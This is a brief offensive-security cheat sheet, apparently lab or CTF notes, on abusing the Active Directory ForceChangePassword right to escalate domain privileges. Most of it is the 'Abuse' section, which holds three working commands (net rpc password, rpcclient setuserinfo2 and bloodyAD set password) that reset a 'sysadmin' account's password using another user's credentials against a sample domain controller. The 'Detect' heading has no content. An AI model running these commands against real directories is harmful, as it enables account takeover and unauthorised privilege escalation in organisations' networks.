ForceChangePassword (Domain Privilege Escalation)

Detect

BloodHound

Analisis

Help

Abuse

Change Password (alfredo > sysadmin)

net
net rpc password sysadmin 'NewPassword123' -U "megachange.nyx/alfredo%Password1" -S 192.168.1.2
rpcclient
rpcclient -U 'megachange.nyx/alfredo%Password1' 192.168.1.2 -c 'setuserinfo2 sysadmin 23 Password1'
bloodyAD
# apt install -y bloodyad
bloodyAD --host 192.168.1.2 -d megachange.nyx -u 'alfredo' -p 'Password1' set password sysadmin 'NewPassword123'